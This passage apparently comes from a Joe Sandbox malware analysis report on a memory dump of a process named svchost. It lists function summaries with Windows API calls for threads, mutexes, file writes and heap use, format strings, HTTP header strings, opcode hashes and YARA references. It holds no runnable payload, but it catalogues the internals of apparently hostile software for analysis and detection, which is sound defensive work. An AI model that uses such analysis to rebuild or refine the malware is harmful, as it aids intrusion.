                                                                                                                                                                                                              • Part of subcall function 02D0CA20: GetWindowLongA.USER32(02D0CB54,000000F0), ref: 02D0CA49
                                                                                                                                                                                                              • Part of subcall function 02D0CA20: GetScrollBarInfo.USER32(02D0CB54,000000FA,?), ref: 02D0CA64
                                                                                                                                                                                                              • Part of subcall function 02D0CA20: GetScrollBarInfo.USER32(02D0CB54,000000FB,0000003C), ref: 02D0CA91
                                                                                                                                                                                                            • GetWindow.USER32(02D0D04D,00000005), ref: 02D0CB5C
                                                                                                                                                                                                            • GetWindow.USER32(00000000), ref: 02D0CB5F
                                                                                                                                                                                                              • Part of subcall function 02D0CB10: GetWindow.USER32(02D0D04D,00000003), ref: 02D0CB6A
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Window$Info$LongScroll$ClassPrintRectVisiblememset
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 406580094-0
                                                                                                                                                                                                            • Opcode ID: a7090951ee0202b829c09747292ce5599c78526f121db7eb5d2c337133bb83f9
                                                                                                                                                                                                            • Instruction ID: 743e1fb53891f33432b5a6be43492152945a2f208b9e02de152cb034ad70a2ae
                                                                                                                                                                                                            • Opcode Fuzzy Hash: a7090951ee0202b829c09747292ce5599c78526f121db7eb5d2c337133bb83f9
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 02F06872B5021437DA11B659ACC5FAFB7ADDB85B50F010216F904A73D0DEB1AD014AA5
                                                                                                                                                                                                            Function 02D073A0 Relevance: 6.0, APIs: 4, Instructions: 42fileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001,00000000,00004D42,?,02D25279,00004D42), ref: 02D073B8
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,0000000E,00000000,?,02D25279,00004D42), ref: 02D073C7
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,02D25279,0000000E,00004D42,00000000,?,02D25279,00004D42), ref: 02D073D9
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,00000000,00000000,0000000E,00000000,?,02D25279,00004D42), ref: 02D073E9
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: File$LockPointerUnlockWrite
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3342219707-0
                                                                                                                                                                                                            • Opcode ID: fbd8af5ace698f06fbb15e2f7d60772e4323c0150fe40f0df3037f2cd6b3b366
                                                                                                                                                                                                            • Instruction ID: 833adae54ad7b27a44ebf2524713b7f07a8c183db8e346e6c6564e4cc1089554
                                                                                                                                                                                                            • Opcode Fuzzy Hash: fbd8af5ace698f06fbb15e2f7d60772e4323c0150fe40f0df3037f2cd6b3b366
                                                                                                                                                                                                            • Instruction Fuzzy Hash: BEF012B5691208BFE7108E61DC89FAF7BACEB45785F508416FE04DA280D6705E50C6B5
                                                                                                                                                                                                            Function 02D03E50 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 40memoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000020,00000000,-00000010,?,02D040EB,?), ref: 02D03E5C
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,02D040EB,?), ref: 02D03E63
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02D03EA2
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$AllocProcess_snprintf
                                                                                                                                                                                                            • String ID: %d.%d.%d.%d
                                                                                                                                                                                                            • API String ID: 1060465051-3491811756
                                                                                                                                                                                                            • Opcode ID: d0bd74a43d481aeb621c2d1aa79e93125efd195da18dbed916c6cd8b0df8394e
                                                                                                                                                                                                            • Instruction ID: 8156482901f428b6cd317c2bf1d192d52300f2d6f2b1fffe2cf239625cee7714
                                                                                                                                                                                                            • Opcode Fuzzy Hash: d0bd74a43d481aeb621c2d1aa79e93125efd195da18dbed916c6cd8b0df8394e
                                                                                                                                                                                                            • Instruction Fuzzy Hash: ECF081B1940B10AFC370CF69A844B57BBF8EF0D611B40892EF689C6741D234A6008BA0
                                                                                                                                                                                                            Function 02D1A240 Relevance: 6.0, APIs: 4, Instructions: 37synchronizationthreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateMutexA.KERNEL32(00000000,00000000,00000000,74E17390,?,?,02D16AFD), ref: 02D1A25A
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D1A2B0,00000000,00000000,00000000), ref: 02D1A274
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?,?,?,02D16AFD), ref: 02D1A28C
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000,?,?,02D16AFD), ref: 02D1A29D
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CreateHandle$CloseInformationMutexThread
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3835061634-0
                                                                                                                                                                                                            • Opcode ID: da57432ac97f3ad79a439893209a50e0378cae51ec149b594aa2997b151305ac
                                                                                                                                                                                                            • Instruction ID: 26d0062bb3db271c1ce8551a85f2ff0eee2f917d074c804a54d27b0a21e403a5
                                                                                                                                                                                                            • Opcode Fuzzy Hash: da57432ac97f3ad79a439893209a50e0378cae51ec149b594aa2997b151305ac
                                                                                                                                                                                                            • Instruction Fuzzy Hash: B2F06D39E82314BFE7208F60BC0AB5A3BE8AB00B11F644456FD00ABBC0D7B1AD10C794
                                                                                                                                                                                                            Function 02D1EA20 Relevance: 6.0, APIs: 4, Instructions: 36threadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • TerminateThread.KERNEL32(00000000,00000000,?,?,02D1882E,00000000,02D10943,?,?,?,?,?,?), ref: 02D1EA30
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D1E8D0,00000000,00000000,00000000), ref: 02D1EA45
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,02D10943,00000000,?,?,02D1882E,00000000), ref: 02D1EA63
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000,?,?,02D1882E,00000000), ref: 02D1EA74
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: HandleThread$CloseCreateInformationTerminate
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 1825730051-0
                                                                                                                                                                                                            • Opcode ID: 31f060b25ea1a1cb340ea55cf7cc4e2d6b138194010cd4cdc7290a6f9b4f3a63
                                                                                                                                                                                                            • Instruction ID: 8e0a0316d30ddde657564dd6f3771ae0be710f1b03d38470e8a31681a05843ea
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 31f060b25ea1a1cb340ea55cf7cc4e2d6b138194010cd4cdc7290a6f9b4f3a63
                                                                                                                                                                                                            • Instruction Fuzzy Hash: C3F03074E84325BBE720CEA4BC1AB5937DCAB14B45F644554FE09E27C0D7A1AD10C6A4
                                                                                                                                                                                                            Function 02D1B390 Relevance: 6.0, APIs: 4, Instructions: 36threadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • TerminateThread.KERNEL32(00000000,00000000,?,?,02D1868E,00000000,02D10943,?,?,?,?,?,?), ref: 02D1B3A0
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D1B240,00000000,00000000,00000000), ref: 02D1B3B5
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,02D10943,00000000,?,?,02D1868E,00000000), ref: 02D1B3D3
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000,?,?,02D1868E,00000000), ref: 02D1B3E4
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: HandleThread$CloseCreateInformationTerminate
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 1825730051-0
                                                                                                                                                                                                            • Opcode ID: 71299437936720733b1eb751d3c762bfe841e02496db2f0d48ccac7ecba1d709
                                                                                                                                                                                                            • Instruction ID: dcdf0d1dd00652f7cc72d9c9295ced2e56a8c81a8e344a7cd0b6b1667cea74af
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 71299437936720733b1eb751d3c762bfe841e02496db2f0d48ccac7ecba1d709
                                                                                                                                                                                                            • Instruction Fuzzy Hash: A3F0E934AC0314BBE7209F65BC49F5A37DCAB18759F304546F905E27C0E7B0AD20C664
                                                                                                                                                                                                            Function 02D1F930 Relevance: 6.0, APIs: 4, Instructions: 36threadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • TerminateThread.KERNEL32(00000000,00000000,?,?,02D188DE,00000000,02D10943,?,?,?,?,?,?), ref: 02D1F940
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D1F7E0,00000000,00000000,00000000), ref: 02D1F955
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,02D10943,00000000,?,?,02D188DE,00000000), ref: 02D1F973
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000,?,?,02D188DE,00000000), ref: 02D1F984
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: HandleThread$CloseCreateInformationTerminate
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 1825730051-0
                                                                                                                                                                                                            • Opcode ID: 2c5ef28d9c84e953712ed6a9d7fa90eed99a15ecd5adbcc53d99180a9883963b
                                                                                                                                                                                                            • Instruction ID: 7ebaccad9ffba0764538b5b7d9341e7069c65e903e7b04487fe2bce737fef236
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 2c5ef28d9c84e953712ed6a9d7fa90eed99a15ecd5adbcc53d99180a9883963b
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 67F0B474B84318BFE7209F64BC0AB5E77DCAB14785F644A44F909E2BC0D7B0AD10C664
                                                                                                                                                                                                            Function 02D1F350 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 139COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: private$public
                                                                                                                                                                                                            • API String ID: 0-4176808989
                                                                                                                                                                                                            • Opcode ID: 33594743d1661c5636d47c56578fbd34bfa48635f7690f1e69cc298077953526
                                                                                                                                                                                                            • Instruction ID: 5c7ba8c3202f8f2c349e94715f477ded192241a33a6970137e5aba9c60a75b39
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 33594743d1661c5636d47c56578fbd34bfa48635f7690f1e69cc298077953526
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 684136326043155FCB348B6CB4563BA73A2FB85228B488696D88ACBF94F7659E45C780
                                                                                                                                                                                                            Function 02D03EC0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CountTick_snprintf
                                                                                                                                                                                                            • String ID: %dd %dh %dm
                                                                                                                                                                                                            • API String ID: 3495410349-3074259717
                                                                                                                                                                                                            • Opcode ID: 57b1a4a52ba13d24cc83f10da0f104b10991a847f08e383e333f70d4b8db8fa3
                                                                                                                                                                                                            • Instruction ID: fe27d680571eed9316a2aff1193c334088c1aa9deacd8c2d256784b820489bfc
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 57b1a4a52ba13d24cc83f10da0f104b10991a847f08e383e333f70d4b8db8fa3
                                                                                                                                                                                                            • Instruction Fuzzy Hash: ACF0E262B4101117A31C581DBC0AAAA5A8B87E832138CC63DFD0ACF3D8DCF49C5141D0
                                                                                                                                                                                                            Function 02D0E250 Relevance: 5.1, APIs: 4, Instructions: 82memoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?,?,00000000,?,?,02D0FCDD,00000000), ref: 02D0E2A3
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000,?,00000000,?,?,02D0FCDD,00000000), ref: 02D0E2A6
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?,?,00000000,?,?,02D0FCDD,00000000), ref: 02D0E2B2
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,?,00000000,?,?,02D0FCDD,00000000), ref: 02D0E2B5
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Process$FreeValidate
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 1670920773-0
                                                                                                                                                                                                            • Opcode ID: 1da8ec60e19c7bc01c32c8128d0433e145fa3555207f56f18d0392016a6824cf
                                                                                                                                                                                                            • Instruction ID: 31d2d01664a36bce96de2b801635bfaef55daa53819bd52eaebaccac466e6f21
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 1da8ec60e19c7bc01c32c8128d0433e145fa3555207f56f18d0392016a6824cf
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 87217CB69412109F8B54CF79D8C472A7BE9FA4C2283258D7ED50ADB760E731DC52CB90
                                                                                                                                                                                                            Function 02D2ABF0 Relevance: 5.1, APIs: 4, Instructions: 65COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • malloc.MSVCRT ref: 02D2ABFE
                                                                                                                                                                                                            • malloc.MSVCRT ref: 02D2AC13
                                                                                                                                                                                                            • malloc.MSVCRT ref: 02D2AC39
                                                                                                                                                                                                            • malloc.MSVCRT ref: 02D2AC54
                                                                                                                                                                                                              • Part of subcall function 02D2A520: free.MSVCRT(?,?,?,76337310,?,02D2CA12,?,?,?,02D29E28), ref: 02D2A54F
                                                                                                                                                                                                              • Part of subcall function 02D2A520: free.MSVCRT(02D2CA12,?,?,76337310,?,02D2CA12,?,?,?,02D29E28), ref: 02D2A55F
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: malloc$free
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 1480856625-0
                                                                                                                                                                                                            • Opcode ID: 01d8b24927e25ac6452813d74a51b0e12e62209a940cf0f5f8be4abfd5c59d2d
                                                                                                                                                                                                            • Instruction ID: 2e881d2c6d230c67b37f60fbfd7deb46f5db1ddb20207010fb36ff1c1f89fe36
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 01d8b24927e25ac6452813d74a51b0e12e62209a940cf0f5f8be4abfd5c59d2d
                                                                                                                                                                                                            • Instruction Fuzzy Hash: F721ADB5A013059FD710CF1AD884A46FBE8FF99710F15C5AAE5488B366D7B1E814CFA0
                                                                                                                                                                                                            Function 02D0E840 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,-05A9F5B4,?,02D0FA47,?,?,02D0EF16,00000000,00000008,?,02D0FA47,Content-Length,00000008,?,02D0FA47,Transfer-Encoding), ref: 02D0E87F
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,02D0EF16,00000000,00000008,?,02D0FA47,Content-Length,00000008,?,02D0FA47,Transfer-Encoding,00000008,HTTP/1.,00000007,?), ref: 02D0E886
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D0E896
                                                                                                                                                                                                            • memcpy.MSVCRT ref: 02D0E8A1
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$AllocProcessmemcpymemset
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 471586229-0
                                                                                                                                                                                                            • Opcode ID: 18c2709073cfa5aee4243c25e0ebf50e19696001186430ed19228886a4d54ecb
                                                                                                                                                                                                            • Instruction ID: 1befe9c36b6afc8868b1533463a72db68367375230b65fda4d5eb4351995398b
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 18c2709073cfa5aee4243c25e0ebf50e19696001186430ed19228886a4d54ecb
                                                                                                                                                                                                            • Instruction Fuzzy Hash: F701F2336016156B97209A69ACC4FA7B39CEF96764B448615FD04DB3D0DB20DD00C7F8
                                                                                                                                                                                                            Function 02D1A860 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,?,00000018,?,00000000,?,02D1056E,?,?,02D10D4A,?), ref: 02D1A898
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,02D1056E,?,?,02D10D4A,?), ref: 02D1A89F
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D1A8AF
                                                                                                                                                                                                            • memcpy.MSVCRT ref: 02D1A8BD
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$AllocProcessmemcpymemset
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 471586229-0
                                                                                                                                                                                                            • Opcode ID: 64c025740afc21f9da7414194d5824e185fd9525fe91d335c1e3566de75ca0b0
                                                                                                                                                                                                            • Instruction ID: a0f30913077283bb31e0a12379112126225a154b500dee09fcfcc479ce8584b8
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 64c025740afc21f9da7414194d5824e185fd9525fe91d335c1e3566de75ca0b0
                                                                                                                                                                                                            • Instruction Fuzzy Hash: D70147326426067BD3108A68BC48FABB79DEF52754F004315F9049B780EB20EC05C7E0
                                                                                                                                                                                                            Function 02D0F0D0 Relevance: 5.0, APIs: 4, Instructions: 35memoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,-05A9F5B5,?,?,00000000,?,02D0F31A,?,?,-05A9F5C8,00000000,00000000), ref: 02D0F0E8
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,02D0F31A,?,?,-05A9F5C8,00000000,00000000), ref: 02D0F0EF
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D0F0FF
                                                                                                                                                                                                            • memcpy.MSVCRT ref: 02D0F10A
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$AllocProcessmemcpymemset
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 471586229-0
                                                                                                                                                                                                            • Opcode ID: 560434a5f31271d337ca4ca7e5002357d2c55a1a21da13b8cc2da4f70af63b8f
                                                                                                                                                                                                            • Instruction ID: 00a468e2742df5fc44e5b298e850993ec88efd8d5ae90a2efd603e479e1d48b4
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 560434a5f31271d337ca4ca7e5002357d2c55a1a21da13b8cc2da4f70af63b8f
                                                                                                                                                                                                            • Instruction Fuzzy Hash: B6F0A0776416113BC6206A99AC85F8B779CEB97B60F504114FA04AB381CA20DD1087F1
                                                                                                                                                                                                            Function 02D0E1D0 Relevance: 5.0, APIs: 4, Instructions: 35memoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(?,?,7591F380,?,02D0E5D9,?,00000000,?,02D0FCAC), ref: 02D0E1E4
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000,?,02D0FCAC), ref: 02D0E1E7
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?,?,02D0FCAC), ref: 02D0E1F4
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,?,02D0FCAC), ref: 02D0E1F7
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Process$FreeValidate
                                                                                                                                                                                                            • String ID:
